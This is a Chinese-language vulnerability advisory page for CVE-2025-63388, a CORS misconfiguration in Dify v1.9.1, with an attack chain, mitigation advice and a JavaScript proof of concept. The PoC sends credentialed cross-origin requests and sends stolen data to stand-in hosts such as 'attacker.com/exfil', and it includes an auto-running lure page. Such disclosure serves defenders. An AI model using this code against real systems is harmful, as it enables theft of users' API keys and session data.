IPBUF安全漏洞报告
English
CVE-2025-63388 CVSS 9.1 严重

CVE-2025-63388 Dify CORS配置错误导致敏感数据泄露

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-63388
漏洞类型
CORS配置错误
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Dify

相关标签

CORS配置错误跨域资源共享Dify敏感数据泄露认证绕过CVSS9.1严重漏洞

漏洞概述

CVE-2025-63388是Dify v1.9.1版本中的一个严重跨域资源共享(CORS)配置错误漏洞。该漏洞存在于/console/api/system-features端点,由于CORS策略配置过于宽松,允许反射任意Origin头并设置Access-Control-Allow-Credentials: true,使得任何外部恶意网站都能够向Dify API发起经过身份验证的跨域请求。攻击者可以通过构造恶意网页,诱导已登录用户访问,从而窃取用户的敏感信息、API密钥、项目配置等数据。由于CVSS评分高达9.1,该漏洞被评定为严重级别,对系统机密性和完整性造成严重影响。供应商虽然对此漏洞提出争议,认为凭据请求不会提供额外访问权限,但CORS配置错误本身仍可能导致敏感数据泄露风险。

技术细节

Dify v1.9.1的/console/api/system-features端点存在CORS配置错误漏洞。正常情况下,CORS策略应该限制允许的Origin来源,并谨慎处理Access-Control-Allow-Credentials头。但该端点配置为反射请求中的任意Origin头(即Access-Control-Allow-Origin: *),同时设置Access-Control-Allow-Credentials: true。这种配置组合导致浏览器允许来自任意域的跨域请求携带用户凭据(如Cookies、HTTP认证信息)。攻击者可以构造恶意HTML页面,当已登录用户访问时,页面会自动向https://target-dify-instance/console/api/system-features发送跨域请求。由于浏览器会自动携带用户的认证Cookie,攻击者即可在恶意页面中通过JavaScript获取响应内容,窃取用户的系统功能配置、API密钥、用户会话信息等敏感数据。攻击过程完全在用户浏览器中执行,无需直接与目标服务器交互。

攻击链分析

STEP 1
1
攻击者创建恶意网页,包含针对Dify /console/api/system-features端点的跨域请求代码
STEP 2
2
诱导已登录的Dify用户访问该恶意网页
STEP 3
3
恶意页面通过JavaScript发起跨域GET请求,设置withCredentials=true自动携带用户Cookie
STEP 4
4
Dify服务器由于CORS配置错误,响应头包含Access-Control-Allow-Origin: *和Access-Control-Allow-Credentials: true
STEP 5
5
浏览器允许恶意页面读取响应内容,攻击者获取用户的系统功能配置、API密钥等敏感数据
STEP 6
6
攻击者将窃取的敏感信息发送到外部服务器,用于进一步攻击或数据交易

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-63388 PoC - CORS Misconfiguration in Dify v1.9.1 // Target: /console/api/system-features endpoint const targetUrl = 'https://TARGET_DIFY_INSTANCE/console/api/system-features'; async function exploitCORS() { try { // Create XMLHttpRequest with credentials const xhr = new XMLHttpRequest(); xhr.open('GET', targetUrl, true); xhr.withCredentials = true; xhr.onreadystatechange = function() { if (xhr.readyState === 4) { if (xhr.status === 200) { console.log('[+] Success! Received response:'); console.log(xhr.responseText); // Extract sensitive data const data = JSON.parse(xhr.responseText); console.log('[+] System Features:', JSON.stringify(data, null, 2)); // Send data to attacker server fetch('https://ATTACKER_SERVER/log', { method: 'POST', body: JSON.stringify({ cve: 'CVE-2025-63388', data: data }) }); } else { console.log('[-] Request failed with status:', xhr.status); } } }; xhr.send(); } catch (error) { console.error('[-] Error:', error.message); } } // Execute when page loads exploitCORS(); // HTML page for social engineering: const htmlPage = ` <!DOCTYPE html> <html> <head><title>Loading...</title></head> <body> <script> // Auto-execute the CORS attack fetch('TARGET_URL/console/api/system-features', { credentials: 'include' }).then(r => r.json()).then(data => { // Exfiltrate data fetch('https://attacker.com/exfil', { method: 'POST', body: JSON.stringify(data) }); }); </script> </body> </html> `;

影响范围

Dify v1.9.1

防御指南

临时缓解措施
在官方补丁发布前,可通过配置反向代理(如Nginx)添加CORS响应头限制,覆写Dify的默认CORS配置。具体做法:设置Access-Control-Allow-Origin为具体域名而非*,移除Access-Control-Allow-Credentials或确保Origin与Allow-Origin严格匹配。同时限制/console/api/*路径的访问,启用Web应用防火墙(WAF)规则检测异常的跨域请求。对于高敏感环境,考虑暂时禁用控制台API的CORS支持或要求用户使用同源访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表